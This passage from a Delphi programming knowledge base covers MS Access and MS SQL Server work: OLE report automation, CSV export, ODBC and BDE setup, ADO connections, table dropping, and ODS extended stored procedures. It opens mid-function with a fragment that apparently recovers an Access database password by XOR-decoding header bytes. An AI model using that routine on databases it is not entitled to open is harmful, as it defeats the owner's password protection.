    exit;
  end;
  stream.Seek($42, soFromBeginning);
  stream.Read(buffer, 13);
  stream.Destroy;

  str := chr(Ord(buffer[0]) xor $86);
  str := str + chr(Ord(buffer[1]) xor $FB);
  str := str + chr(Ord(buffer[2]) xor $EC);
  str := str + chr(Ord(buffer[3]) xor $37);
  str := str + chr(Ord(buffer[4]) xor $5D);
  str := str + chr(Ord(buffer[5]) xor $44);
  str := str + chr(Ord(buffer[6]) xor $9C);
  str := str + chr(Ord(buffer[7]) xor $FA);
  str := str + chr(Ord(buffer[8]) xor $C6);
  str := str + chr(Ord(buffer[9]) xor $5E);
  str := str + chr(Ord(buffer[10]) xor $28);
  str := str + chr(Ord(buffer[11]) xor $E6);
  str := str + chr(Ord(buffer[12]) xor $13);
  Result := str;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Примеры работы с репортами

In the next small example I'll demonstrate how you can call the report in MS Access:

var
  Access: Variant;
begin
  // open the Access application
  try
    Access := GetActiveOleObject('Access.Application');
  except
    Access := CreateOleObject('Access.Application');
  end;
  Access.Visible := True;

  // open the database
  //The second parameter specifies whether you want to open the database in Exclusive mode

  Access.OpenCurrentDatabase('C:\My Documents\Books.mdb', True);

// open the report
{The value for the second parameter should be one of
acViewDesign, acViewNormal, or acViewPreview. acViewNormal, which is the default, prints the report immediately. If you are not using the type library, you can define these values like this:

const
acViewNormal = $00000000;
acViewDesign = $00000001;
acViewPreview = $00000002;

  The third parameter is for the name of a query in the current
  database.The fourth parameter is for a SQL WHERE clause - the string must be valid
  SQL, minus the WHERE.}

  Access.DoCmd.OpenReport('Titles by Author', acViewPreview,
    EmptyParam, EmptyParam);

  { ... }
    // close the database
  Access.CloseCurrentDatabase;

  // close the Access application
    {const
      acQuitPrompt = $00000000;
      acQuitSaveAll = $00000001;
      acQuitSaveNone = $00000002;}
  Access.Quit(acQuitSaveAll);
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как экспортировать все таблицы в CSV файл?

procedure TMainForm.SaveAllTablesToCSV(DBFileName: string);
var
  InfoStr,
    FileName,
    RecString,
    WorkingDirectory: string;
  OutFileList,
    TableNameList: TStringList;
  TableNum,
    FieldNum: integer;
  VT: TVarType;
begin
  ADOTable1.Active := false;
  WorkingDirectory := ExtractFileDir(DBFileName);
  TableNameList := TStringList.Create;
  OutFileList := TStringList.Create;
  InfoStr := 'The following files were created' + #13#13;

  ADOConnection1.GetTableNames(TableNameList, false);
  for TableNum := 0 to TableNameList.Count - 1 do
  begin
    FileName := WorkingDirectory + '\' +
      TableNameList.Strings[TableNum] + '.CSV';
    Caption := 'Saving "' + ExtractFileName(FileName) + '"';
    ADOTable1.TableName := TableNameList.Strings[TableNum];
    ADOTable1.Active := true;
    OutFileList.Clear;

    ADOTable1.First;
    while not ADOTable1.Eof do
    begin

      RecString := '';
      for FieldNum := 0 to ADOTable1.FieldCount - 1 do
      begin
        VT := VarType(ADOTable1.Fields[FieldNum].Value);
        case VT of
          // just write the field if not a string
          vtInteger, vtExtended, vtCurrency, vtInt64:
            RecString := RecString + ADOTable1.Fields[FieldNum].AsString
        else
          // it IS a string so put quotes around it
          RecString := RecString + '"' +
            ADOTable1.Fields[FieldNum].AsString + '"';
        end; { case }

        // if not the last field then use a field separator
        if FieldNum < (ADOTable1.FieldCount - 1) then
          RecString := RecString + ',';
      end; { for FieldNum }
      OutFileList.Add(RecString);

      ADOTable1.Next;
    end; { while }

    OutFileList.SaveToFile(FileName);
    InfoStr := InfoStr + FileName + #13;
    ADOTable1.Active := false;

  end; { for  TableNum }
  TableNameList.Free;
  OutFileList.Free;
  Caption := 'Done';
  ShowMessage(InfoStr);
end;

procedure TMainForm.Button1Click(Sender: TObject);
const
  ConnStrA = 'Provider=Microsoft.Jet.OLEDB.4.0;Data Source=';
  ConnStrC = ';Persist Security Info=False';
  ProvStr = 'Microsoft.Jet.OLEDB.4.0';
begin
  OpenDialog1.InitialDir := ExtractFileDir(ParamStr(0));
  if OpenDialog1.Execute then

  try
    ADOConnection1.ConnectionString :=
      ConnStrA + OpenDialog1.FileName + ConnStrC;
    ADOConnection1.Provider := ProvStr;
    ADOConnection1.Connected := true;
    ADOTable1.Connection := ADOConnection1;
    SaveAllTablesToCSV(OpenDialog1.FileName);
  except
    ShowMessage('Could not Connect to ' + #13 +
      '"' + OpenDialog1.FileName + '"');
    Close;
  end;

end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Why can’t I connect to an Access database using the BDE and native MSACCESS driver?

Why can't I connect to an Access database using the BDE and native MSACCESS driver?
Previous Top Next

Why can't I connect to an Access database using the BDE and native MSACCESS driver?

Access 2000/XP:
You cannot connect to an Access 2000 database using the BDE's native MSACCESS driver. It is recommended that you use ADO. You could also connect using the BDE with ODBC.

Access 95 or 97:
You may get the message "BDE error 13059" and "General SQL error". If you are trying to connect to Access 95 or 97 databases using the BDE's native MSACCESS driver, then you need to have DAO 3.0 installed for Access 95 or DAO 3.5 for Access 97 (DAO = Data Access Objects for Visual Basic). You can install the DAO by doing a custom installation of MS Office and selecting only to install Data Access Objects for Visual Basic. You must also have the correct DLL32 setting in the BDE Administrator for the DAO you have installed: IDDA3532.DLL for Access 97, IDDAO32.DLL for Access 95.


Использование таблиц Access при помощи ODBC

Из приложений Delphi вы можете получить доступ к .MDB-файлам Microsoft Access, используя драйверы ODBC. Delphi действительно может дать все необходимое, но некоторые вещи не столь очевидные. Вот шаги для достижения вашей цели.

Что вам нужно: Первое: проверьте, установлен ли ODBC Administrator (файл ODBCADM.EXE в WINDOWS\SYSTEM, вам также необходим файл DBCINST.DLL для установки новых драйверов и ODBC.DLL). Администратор ODBC должен присутствовать в Панели Управления в виде иконки ODBC. Если у вас его не было, то после установки Delphi он должен появиться. Если вы получаете сообщение типа "Your ODBC is not up-to-date IDAPI needs ODBC greater then 2.0", у вас имеется старая версия администратора и вы должны обновить ее до версии, включенной в поставку Delphi. Проверьте, имеете ли вы доступ к драйверу Access ODBC, установленному в Windows. Вы можете сделать это, щелкнув на "Drivers" в диалоговом окне "Data Sources", появляющемся при запуске ODBC Administrator. Delphi должна в диалоге добавить пункты Access Files (*.mdb) и Access Data (*.mdb), работающие с файлами Access 1.10 и использующие драйвер SIMBA.DLL (имейте в виду, что для данного DLL необходимы также файлы RED110.DLL и SIMADMIN.DLL, устанавливаемые для вас Delphi). Данные файлы должны поставляться с дистрибутивом вашей программы как часть ReportSmith Runtime библиотеки. Если вы хотите работать с файлами Access 2.0 или 2.5, вам необходимо иметь другой набор драйверов от Microsoft. Ключевой файл - MSAJT200.DLL, также необходимы файлы MSJETERR.DLL и MSJETINT.DLL. В США набор ODBC Desktop Drivers, Version 2.0. стоит $10.25. Он также доступен в январском выпуске MSDN, Level 2 (Development Platform) CD4 \ODBC\X86 как часть ODBC 2.1 SDK. Очевидно есть обновление этих драйверов для файлов Access 2.5 на форуме MSACCESS CompuServe. Имейте в виду, что драйвер Access ODBC, поставляемый с некоторыми приложениями Microsoft (например, MS Office) могут использоваться только другими MS-приложениями. К сожалению, они могут сыграть с вами злую шутку: сначала заработать, а потом отказать в совершенно неподходящий момент! Поэтому не обращайте внимания (запретите себе обращать внимание!) на строчку "Access 2.0 for MS Office (*.mdb)" в списке драйверов ODBC Administrator. Вы можете установить новые ODBC драйверы с помощью ODBC Administrator в Панели Управления.

Добавление источника данных ODBC (Data Source): если у вас имеются все необходимые файлы, можете начинать. Представленный здесь пример использует драйвер Access 1.10, обеспечиваемый Delphi. Используя ODBC Administrator, установите источник данных для ваших файлов Access: щелчок на кнопке "Add" в окне "data sources" выведет диалог "Add Data Source", выберите Access Files (*.mdb) (или что-либо подходящее, в зависимости от установленных драйверов). В диалоге "ODBC Microsoft Access Setup" необходимо ввести имя в поле "Data Source Name". В данном примере мы используем "My Test". Введите описание "Data Source" в поле Description. Щелкните на "Select Database" для открытия диалога "Select Database". Перейдите в директорию, где хранятся ваши Access .MDB-файлы и выберите один. Мы выберем файл TEST.MDB в директории C:\DELPROJ\ACCESS. Нажмите OK в диалоге "Setup". Теперь в списке источников данных (Data Sources) должен появиться "My Test" (Access Files *.mdb). Нажмите Close для выхода из ODBC Administrator. Используя этот метод, вы можете установить и другие, необходимые вам, источники данных.

Настройка Borland Database Engine: загрузите теперь Borland Database Engine (BDE) Configuration Utility. На странице "Drivers" щелкните на кнопке New ODBC Driver. Имейте в виду, что это добавит драйвер Access в BDE и полностью отдельное управление дополнительно к драйверам Access в Windows, устанавливаемым при помощи ODBC Administrator. В открывшемся диалоге Add ODBC Driver в верхнем поле редактировании введите ACCESS (или что-то типа этого). BDE автоматически добавит на первое место ODBC_. В combobox, расположенном немного ниже, выберите Access Files (*.mdb). Выберите Data Source в следующем combobox (Default Data Source Name), это должен быть источник данных, который вы установили с помощью ODBC Administration Utility. Здесь можно не беспокоиться о вашем выборе, поскольку позднее это можно изменить (позже вы узнаете как это можно сделать). Нажмите OK. После установки драйвера BDE, вы можете использовать его более чем с одним источником данных ODBC, применяя различные псевдонимы (Alias) для каждого ODBC Data Source. Для установки псевдонима переключитесь на страницу "Aliases" и нажмите на кнопку "New Alias". В диалоговом окне "Add New Alias" введите необходимое имя псевдонима в поле "Alias Name". В нашем примере мы используем MY_TEST (не забывайте, что пробелы в псевдониме недопустимы). В combobox Alias Type выберите имя ODBC-драйвера, который вы только что создали (в нашем случае ODBC_ACCESS). Нажмите OK. Если вы имеете более одного ODBC Data Source, измените параметр ODBC DSN ("DSN" = "Data Source Name") в списке "Parameters" псевдонима на подходящий источник данных ODBC Data Source, как установлено в ODBC Administrator. Имейте в виду, что вы не должны ничего добавлять в параметр Path (путь), так как ODBC Data Source уже имеет эту информацию. Если вы добавляете параметр Path, убедитесь, что путь правильный, в противном случае ничего работать не будет! Теперь сохраните конфигурацию BDE, выбирая пункты меню File|Save, и выходите из Database Engine Configuration Utility.

В Delphi: Создайте новый проект и расположите на форме компоненты Table и DataSource из вкладки Data Access палитры компонентов. Затем из вкладки Data Controls выберите компонент DBGrid и также расположите его на форме. В Table, в Инспекторе Объектов, назначьте свойству DatabaseName псевдоним MY_TEST, установленный нами в BDE Configuration Utility. Теперь спуститесь ниже и раскройте список TableName. Вас попросят зарегистрироваться в базе данных Access MY_TEST. Обратите внимание, что если бюджет не установлен, то User Name и Password можно не заполнять, просто нажмите на кнопку OK. После некоторой паузы раскроется список, содержащий доступные таблицы для ODBC Data Source указанного псевдонима BDE. Выберите TEST. В DataSource, в Инспекторе Объектов, назначьте свойству DataSet таблицу Table1. В DBGrid, также в Инспекторе Объектов, назначьте свойству DataSource значение DataSource1. Возвратитесь к таблице, и в том же Инспекторе Объектов установите свойство Active в True. Данные из таблицы TEST отобразятся в табличной сетке. Это все! Одну вещь все-таки стоит упомянуть: если вы создаете приложение, использующее таблицы Access и запускаете его из-под Delphi IDE, то при попытке изменения данных в таблице(ах) вы получите ошибку. Если же вы запустите скомпилированный .EXE-файл вне Delphi (предварительно Delphi закрыв), то все будет ОК. Сообщения об ошибках ODBC, к несчастью, очень туманные и бывает достаточно трудно понять его источник в вашем приложении, в этом случае проверьте установку ODBC Administrator и BDE Configuration Utility, они также могут помочь понять источник ошибки. Для получения дополнительной информации обратитесь к ODBC 2.0 Programmer's Reference или SDK Guide от Microsoft Press (ISBN 1-55615-658-8, цена в США составляет $24.95). В этом документе вы получите исчерпывающую информацию о возможных ошибках при использовании Access-файлов посредством ODBC. Также здесь вы можете найти рапорты пользователей о найденных ошибках, в том числе и при использовании Delphi. Более того, я выяснил, что большинство описанных проблем возникает при неправильных настройках ODBC, т.е. те шаги, которые я описал выше. Надеюсь, что с развитием технологии доступа к базам данных такие сложности уйдут в прошлое. Кроме того, имейте в виду, что если вам необходимо создать новую таблицу Access 1.10, вы можете воспользоваться Database Desktop, включаемый в поставку Delphi.

Авторы данной технологии Ralph Friedman (CompuServe 100064,3102), Bob Swart и Chris Frizelle.
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba

Может кто-нибудь, предпочтительно из персонала Borland, ПОЖАЛУЙСТА, дать мне ПОЛНЫЙ рассказ о том, как с помощью Delphi и сопутствующего программного обеспечения получить доступ и работать с базами данных MS Access. Среди прочего, мне необходимо узнать...

Нижеследующая инструкция в точности повторяет ту технологию, с которой я работаю на данный момент, надеюсь, что это поможет.

Драйвер ODBC, предусмотренный для доступа к Access 2.0, разработан только для работы в пределах среды Microsoft Office. Для работы со связкой ODBC/Access в Delphi, вам необходим Microsoft ODBC Desktop Driver kit, part# 273-054-030, доступный через Microsoft Direct за $10.25US (если вы живете не в США, воспользуйтесь службой WINEXT). Он также доступен в январском выпуске MSDN, Level 2 (Development Platform) CD4 \ODBC\X86 как часть ODBC 2.1 SDK. Имейте в виду, что смена драйверов (в частности Desktop Drivers) может негативно сказаться на работе других приложений Microsoft. Для информации (и замечаний) обращайтесь в форум WINEXT.

Также вам необходимы следующие файлы ODBC:

 Минимум:
  ODBC.DLL       03.10.1994, Версия 2.00.1510
  ODBCINST.DLL   03.10.1994, Версия 2.00.1510
  ODBCINST.HLP   11.08.1993
  ODBCADM.EXE    11.08.1993, Версия 1.02.3129

 Рекомендуется:
  ODBC.DLL       12.07.1994, Версия 2.10.2401
  ODBCINST.DLL   12.07.1994, Версия 2.10.2401
  ODBCINST.HLP   12.07.1994
  ODBCADM.EXE    12.07.1994, Версия 2.10.2309

Нижеследующие шаги приведут вас к искомой цели:

1. Используя администратора ODBC, установите источник данных (datasource) для вашей базы данных. Не забудьте задать путь к вашему mdb-файлу. Для нашего примера создайте источник с именем MYDSN.
2. Загрузите утилиту BDE Configuration.
3. Выберите пункт "New Driver".
4. Назначьте драйверу имя (в нашем случае ODBC_MYDSN).
5. В выпадающем списке драйверов выберите "Microsoft Access Driver (*.mdb)
6. В выпадающем списке имен выберите MYDSN
7. Перейдите на страницу "Alias" (псевдонимы).
8. Выберите "New Alias" (новый псевдоним).
9. Введите MYDSN в поле имени.
10. Для Alias Type (тип псевдонима) выберите ODBC_MYDSN.
11. На форме Delphi разместите компоненты DataSource, Table, и DBGrid.
12. Установите DBGrid1.DataSource на DataSource1.
13. Установите DataSource1.DataSet на Table1.
14. Установите Table1.DatabaseName на MYDSN.
15. В свойстве TableName компонента Table1 щелкните на стрелочку "вниз" и вы увидите диалог "Login". Нажмите OK и после короткой паузы вы увидите список всех имен ваших таблиц. Выберите одно.
16. Установите свойство Active Table1 в True и данные вашей таблицы появятся в табличной сетке.

Примечание Vit: с появлением и продвижением микрософтом OLE DB и реализацией в Дельфи ADO (начиная с версии 5.0) работа с MS Access через ODBC перестала быть актуальной. За исключением особых случаев рекомендуется пользоваться именно ADO линейкой компонентов для связи с MS Access


Записываем в Access используя OLE DB

// Читаем Access`овскую базу используя ADO
// Проверяе являеться ли файл .mdb Access
// Записываем запись в базу
// Нужны компаненты-
//    TADOtable,TDataSource,TOpenDialog,TDBGrid,
//    TBitBtn,TTimer,TEditTextBox
program ADOdemo;

uses Forms, uMain in 'uMain.pas' {frmMain};

{$R *.RES}

begin
  Application.Initialize;
  Application.CreateForm(TfrmMain, frmMain);
  Application.Run;
end.
///////////////////////////////////////////////////////////////////
unit uMain;

interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  Db, DBTables, ADODB, Grids, DBGrids, ExtCtrls, DBCtrls, StdCtrls, Buttons,
  ComObj;

type
  TfrmMain = class(TForm)
    DBGridUsers: TDBGrid;
    BitBtnClose: TBitBtn;
    DSource1: TDataSource;
    EditTextBox: TEdit;
    BitBtnAdd: TBitBtn;
    TUsers: TADOTable;
    BitBtnRefresh: TBitBtn;
    Timer1: TTimer;
    Button1: TButton;
    procedure FormCreate(Sender: TObject);
    procedure ConnectToAccessDB(lDBPathName, lsDBPassword: string);
    procedure ConnectToMSAccessDB(lsDBName, lsDBPassword: string);
    procedure AddRecordToMSAccessDB;
    function CheckIfAccessDB(lDBPathName: string): Boolean;
    function GetDBPath(lsDBName: string): string;
    procedure BitBtnAddClick(Sender: TObject);
    procedure BitBtnRefreshClick(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    function GetADOVersion: Double;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  frmMain: TfrmMain;
  Global_DBConnection_String: string;
const
  ERRORMESSAGE_1 = 'No Database Selected';
  ERRORMESSAGE_2 = 'Invalid Access Database';

implementation

{$R *.DFM}

procedure TfrmMain.FormCreate(Sender: TObject);
begin
  ConnectToMSAccessDB('ADODemo.MDB', '123'); // DBName,DBPassword
end;

procedure TfrmMain.ConnectToMSAccessDB(lsDBName, lsDBPassword: string);
var
  lDBpathName: string;
begin
  lDBpathName := GetDBPath(lsDBName);
  if (Trim(lDBPathName) <> '') then
    begin
      if CheckIfAccessDB(lDBPathName) then
        ConnectToAccessDB(lDBPathName, lsDBPassword);
    end
  else
    MessageDlg(ERRORMESSAGE_1, mtInformation, [mbOK], 0);
end;

function TfrmMain.GetDBPath(lsDBName: string): string;
var
  lOpenDialog: TOpenDialog;
begin
  lOpenDialog := TOpenDialog.Create(nil);
  if FileExists(ExtractFileDir(Application.ExeName) + '\' + lsDBName) then
    Result := ExtractFileDir(Application.ExeName) + '\' + lsDBName
  else
    begin
      lOpenDialog.Filter := 'MS Access DB|' + lsDBName;
      if lOpenDialog.Execute then
        Result := lOpenDialog.FileName;
    end;
end;

procedure TfrmMain.ConnectToAccessDB(lDBPathName, lsDBPassword: string);
begin
  Global_DBConnection_String :=
    'Provider=Microsoft.Jet.OLEDB.4.0;' +
    'Data Source=' + lDBPathName + ';' +
    'Persist Security Info=False;' +
    'Jet OLEDB:Database Password=' + lsDBPassword;

  with TUsers do
    begin
      ConnectionString := Global_DBConnection_String;
      TableName := 'Users';
      Active := True;
    end;
end;

// Check if it is a valid ACCESS DB File Before opening it.

function TfrmMain.CheckIfAccessDB(lDBPathName: string): Boolean;
var
  UnTypedFile: file of Byte;
  Buffer: array[0..19] of Byte;
  NumRecsRead: Integer;
  i: Integer;
  MyString: string;
begin
  AssignFile(UnTypedFile, lDBPathName);
  reset(UnTypedFile, 1);
  BlockRead(UnTypedFile, Buffer, 19, NumRecsRead);
  CloseFile(UnTypedFile);
  for i := 1 to 19 do
    MyString := MyString + Trim(Chr(Ord(Buffer[i])));
  Result := False;
  if Mystring = 'StandardJetDB' then
    Result := True;
  if Result = False then
    MessageDlg(ERRORMESSAGE_2, mtInformation, [mbOK], 0);
end;

procedure TfrmMain.BitBtnAddClick(Sender: TObject);
begin
  AddRecordToMSAccessDB;
end;

procedure TfrmMain.AddRecordToMSAccessDB;
var
  lADOQuery: TADOQuery;
  lUniqueNumber: Integer;
begin
  if Trim(EditTextBox.Text) <> '' then
    begin
      lADOQuery := TADOQuery.Create(nil);
      with lADOQuery do
        begin
          ConnectionString := Global_DBConnection_String;
          SQL.Text :=
            'SELECT Number from Users';
          Open;
          Last;
      // Generate Unique Number (AutoNumber in Access)
          lUniqueNumber := 1 + StrToInt(FieldByName('Number').AsString);
          Close;
      // Insert Record into MSAccess DB using SQL
          SQL.Text :=
            'INSERT INTO Users Values (' +
            IntToStr(lUniqueNumber) + ',' +
            QuotedStr(UpperCase(EditTextBox.Text)) + ',' +
            QuotedStr(IntToStr(lUniqueNumber)) + ')';
          ExecSQL;
          Close;
      // This Refreshes the Grid Automatically
          Timer1.Interval := 5000;
          Timer1.Enabled := True;
        end;
    end;
end;

procedure TfrmMain.BitBtnRefreshClick(Sender: TObject);
begin
  Tusers.Active := False;
  Tusers.Active := True;
end;

procedure TfrmMain.Timer1Timer(Sender: TObject);
begin
  Tusers.Active := False;
  Tusers.Active := True;
  Timer1.Enabled := False;
end;

function TfrmMain.GetADOVersion: Double;
var
  ADO: OLEVariant;
begin
  try
    ADO := CreateOLEObject('adodb.connection');
    Result := StrToFloat(ADO.Version);
    ADO := Null;
  except
    Result := 0.0;
  end;
end;

procedure TfrmMain.Button1Click(Sender: TObject);
begin
  ShowMessage(Format('ADO Version = %n', [GetADOVersion]));
end;

end.

Взято с http://delphiworld.narod.ru


Как получить список таблиц в базе Access?

t:Tstringlist;
...
ADOConnection.GetTableNames(t, false)

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com


Help по синтаксису SQL для MS Access (DAO/ADO/ODBC)

Поставляется с MS Office, искать примерно здесь:

C:\Program Files\Common Files\Microsoft Shared\Office10\1033\JETSQL40.CHM

Автор:Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято из http://forum.sources.ru


Работа с MS SQL Server

Cодержание раздела:

Как узнать, доступен ли в сети сервер MS SQL?
Как удалить таблицу?
Extended Stored Procedures with Delphi - Using the ODS (Open Data Services) Api from Delphi
Самый быстрый способ узнать количество записей в таблице
Как узнать версию сервера?
Как найти все Alias, укакзывающие на MS SQL Server?
Разработка внешних Stored Procedures
Блокируется таблица в MS SQL Server
Особенности работы с БД на MS SQL Server 2000 из Delphi 5 (статья) New!
Поиск по мемо полям New!
Как вернуть результат в виде XML? New!
Как поймать свой RAISEERROR в Delphi New!
Как построить строку подключения New!
Как запустить DTS из StoredProcedure New!
Запись файла New!
Поиск значения по любому столбцу New!

См. также статьи в других разделах:
Как поместить картинку из базы данных, например MsSQL, в компонент TIMAGE ?


Как узнать, доступен ли в сети сервер MS SQL?

Здесь представлена функция, выполняющая проверку доступности MS SQL сервера.

Function CheckMSSQLServer(fServerName, fUserName, fPsw : String) : Bool;
Var
  wDb : TDatabase;
begin  // Check if MS SQL Server is reachable
  // Важно! BDE Должна быть установлена
  Result := False;
  wDb := TDatabase.Create(nil);

  with wDb do
    begin
      DatabaseName := 'wDbDatabaseName'; // arbitrary name, must be unique
                                         // in current Session
      Params.Values['SERVER Name'] := fServerName;
      Params.Values['USER Name']   := fUserName;
      Params.Values['PASSWORD']    := fPsw;
      LoginPrompt := False;
    end;

  try
    wDb.DriverName := 'MSSQL';
    try
      wDb.Connected := True;
      wDb.Connected := False;
    except
      ShowMessage('Server is not reachable');
    end;
    Result := True;
  finally
    wDb.Free;
  end;
end;

Взято из http://forum.sources.ru


Как удалить таблицу?

I've been doing extensive work with Client/Server Delphi and MS SQL Server as my back-end database. The operational model that I use for my Client/Server is that the client application acts only as local interface, and that all queries and calculations - even temporary files - are performed or created on the server. Now this presents a couple of problems in that garbage cleanup isn't quite as easy as it is when using local tables as temporary files.

For instance, a lot of my programs create temporary files that I either reference later in the program or that I use as temporary storage for outer joins. Once I'm done with them, I need to delete them. With local tables, it's a snap. Just get a list of the tables, and with a little bit of code that uses some Windows API calls, delete them. Not so easy with SQL Server tables. The reason why is that you have to go through the BDE to accomplish the task - something that's not necessarily very intuitive. Luckily, however, it doesn't involve low-level BDE API calls.

Below is a procedure listing that drops tables from any SQL Server database. After the listing I'll discuss particulars...

Parameter Descriptions

//var Ses : TSession;         //A valid, open session
//DBName : String;            //Name of the SQL Server DB
//ArTables : array of String; //An array of table names
//StatMsg : TStatusMsg);      //A status message callback
                             //procedure

TStatusMsg is a procedural type used as a callback procedure

type
  TStatusMsg = procedure(Msg: string);

procedure DropMSSQLTempTables(var Ses: TSession;
  DBName: string;
  ArTables: array of string;
  StatMsg: TStatusMsg);
var
  N: Integer;
  qry: TQuery;
  lst: TStringList;
begin
  lst := TStringList.Create;

  Ses.GetTableNames(DBName, '', False, False, lst);

  try
    for N := Low(arTables) to High(arTables) do
      if (lst.IndexOf(ArTables[N]) > 0) then
      begin
        StatMsg('Removing ' + arTables[N] +
          ' from client database');
        qry := TQuery.Create(nil);
        with qry do
        begin
          Active := False;
          SessionName := Ses.SessionName;
          DatabaseName := DBName;
          SQL.Add('DROP TABLE ' + arTables[N]);
          try
            ExecSQL;
          finally
            Free;
            qry := nil;
          end;
        end;
      end;
  finally
    lst.Free;
  end; { try/finally }
end;

The pseudo-code for this is pretty easy.

1. 1. Get a listing of all tables in the SQL Server database passed to the procedure.
2. 2. Get a table name from the table name array.
3. 3. If a passed table name happens to be in the list of table retrieved from the database, DROP it.
4. 4. Repeat 2. and 3. until all table names have been exhausted.

The reason why I do the comparison in step 3 is because if you issue a DROP query against a non-existent table, SQL Server will issue an exception. This methodology avoids that issue entirely.

Below is a detailed description of the parameters.

Ses var TSession This is a session instance variable that you pass by reference into the procedure. Note: It MUST be instantiated prior to use. The procedure does not create an instance. It assumes it already exists. This is especially necessary when using this procedure within a thread. But if you're not creating a multi- threaded application, then you can use the default Session variable.

DBName String Name of the MS SQL Server client database
ArTables Array of String This is an open array of string that you can pass into the procedure. This means that you can pass any size array and the procedure will handle it. For instance, in the Primary table maker program, I define an array as follows:
arPat[0] := 'dbo.Temp0';
arPat[1] := 'dbo.Temp1';
arPat[2] := 'dbo.Temp2';
arPat[3] := 'dbo.Temp3';
arPat[4] := 'dbo.Temp4';
arPat[5] := 'dbo.Temp5';
arPat[6] := 'dbo.PatList';
arPat[7] := 'dbo.PatientList';
arPat[8] := 'dbo.EpiList';
arPat[9] := 'dbo.' + FDisease + 'CrossTbl_' + FQtrYr;
arPat[10] := 'dbo.' + FDisease + 'Primary_' + FQtrYr;

and pass it into the procedure.

StatMsg TStatusMsg This is a procedural type of : procedure(Msg : String). You can't use a class method for this procedure; instead, you declare a regular procedure that references a regular procedure. For example, I declare an interface-level procedure called StatMsg that references a thread instance variable and a method as follows:

procedure StatMsg(Msg: string);
begin
thr.FStatMsg := Msg;
thr.Synchronize(thr.UpdateStatus);
end;

The trick here is that "thr" is the instance variable used to instantiate my thread class. The instance variable resides in the main form of my application. This means that it too must be declared as an interface variable.

I'm usually averse to using global variables and procedures. It's against structured programming conventions. However, what this procedure buys me is the ability to place it in a centralized library and utilize it in all my programs.

Before you use this, please make sure you review the table above. You need to declare a type of TStatusMsg prior to declaring the procedure. If you don't, you'll get a compilation error.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Extended Stored Procedures with Delphi - Using the ODS (Open Data Services) Api from Delphi

Have you ever tried to create a stored procedure on an SQL Server?
What if the functionality you wish to incorporate is not inside the SQL but in your Delphi project? Microsoft provides ODS (Open Data Services) which is an API to help you create such functionality by adding DLL's to your SQL Server that contain Extended Stored Procedures.
This is how you do it....

Answer:

As a special bonus, this article also is a simple solution to encrypting your data inside SQL Server using Extended Stored Procedures.

What do we need?

1. 1. opends60.dll (from a full installation with developer tools of MSSQL or MSDE)
2. 2. MsOdsApi.pas (Header file to use opends60.dll) (included at the end of the article)
3. 3. A Local SQL Server for testing (MSDE will do fine).

NOTE: For cryptography I used the components found under MIT license here:
http://www.cityinthesky.co.uk/cryptography.html

Steps:

1. 1. Create a new DLL.
2. 2. Create a unit and in the uses clause add the MsOdsApi unit.
3. 3. In the Library file just under ther Uses clause add Exports and the names of the functions to export:

library MyEncryptDll;

uses
  SysUtils,
  Classes,
  Unit1 in 'Unit1.pas';

exports
  xp_DoEncrypt,
  xp_DoDecrypt;

begin
end.

4. In the Unit file just under the Uses clause add your function reference:

function xp_DoEncrypt(pSrvProc: SRV_PROC): Integer; cdecl;
function xp_DoDecrypt(pSrvProc: SRV_PROC): Integer; cdecl;

NOTES: cdecl is required for ODS to be able to call your functions. SRV_PROC is a handle to the stored procedure information.

5. The code of the DoEncrypt is this: (DoDecrypt is exactly the same just with a DecryptString(s) call.

function xp_Encrypt(pSrvProc: SRV_PROC): Integer;cdecl;
var
  i, sz: Integer;
  bType: Byte;
  fNull: Bool;
  cbMaxLen, cbActualLen: ULONG;
  myData,myanswer,myKey:array [0..255] of char;
  FDCP_3des: TDCP_3des;
  s:string;
  ps:pchar;
begin
  for i:=0 to 255 do
    begin
      myData[i]:=#0;
      myanswer[i]:=#0;
      myKey[i]:=#0;
    end;
  if srv_rpcparams(pSrvProc) = 2 then  // Check if input parameters are present...
    begin
    srv_paraminfo(pSrvProc, 1, @bType,  // Let's use 1st input parameter!
       @cbMaxLen, @cbActualLen, // NOTE: We assume here what only 2 parameters
       @myData[0], @fNull);    //of type String can be passed!!!
    bType:=SRVVARCHAR;
    srv_paraminfo(pSrvProc, 2, @bType,
       @cbMaxLen, @cbActualLen,
       @myKey[0], @fNull);
    end
  else
    MyData := '';    // No input parameters? Use default value instead.

  //ENCRYPTION CODE BELOW YOU CAN DO WHATEVER YOU NEED HERE WITH THE PARAMETER VALUES

  FDCP_3des:=TDCP_3des.Create(nil);
  FDCP_3des.BlockSize:=64;
  FDCP_3des.Algorithm:='3DES';
  FDCP_3des.CipherMode:=cmCBC;
  FDCP_3des.Id:=24;
  FDCP_3des.MaxKeySize:=192;
  FDCP_3des.InitStr(myKey,TDCP_sha1);
  s:=string(mydata);
  strpcopy(myAnswer,FDCP_3des.EncryptString(s));
  FDCP_3des.Burn;

  // SETTING UP ANSWER VALUES TO PCHAR AND GETTING SIZE

  s:=string(myAnswer);
  sz:=length(s);
  ps:=allocmem(sz);
  ps:=pchar(s);

  // Describe columns
  // (Actually, you are doing that for every datatype and every column you want to return).
  srv_describe(pSrvProc,1 , 'Value', SRV_NULLTERM,
               SRVVARCHAR, sz,
               SRVVARCHAR, sz, nil);
    // Begin output...
  srv_setcoldata(pSrvProc, 1, @ps[0]);
  srv_sendrow(pSrvProc);   // Send the row.
  srv_senddone(pSrvProc,    // Finally send data back to SQL Server:
    (SRV_DONE_COUNT or SRV_DONE_MORE), 0, 1);   // send results completion message.
  // FREEING ENCRYPTION COMPONENT
  FreeAndNil(FDCP_3des);
  result := 1;               // Report success (1 = SUCCEED, 0 = FAIL)
end;

NOTE: There are a number of things you can do with ODS. This is just an example for Delphi. You can read the ODS help in MSDN and do even more.

6. Testing and Debugging:

A) Install SQL 7.0/2000 on your workstation (or install Delphi on workstation where SQL Server is installed).

B) Register your Xp on SQL Server.
NOTES:
Register Xp like this:
use master
go
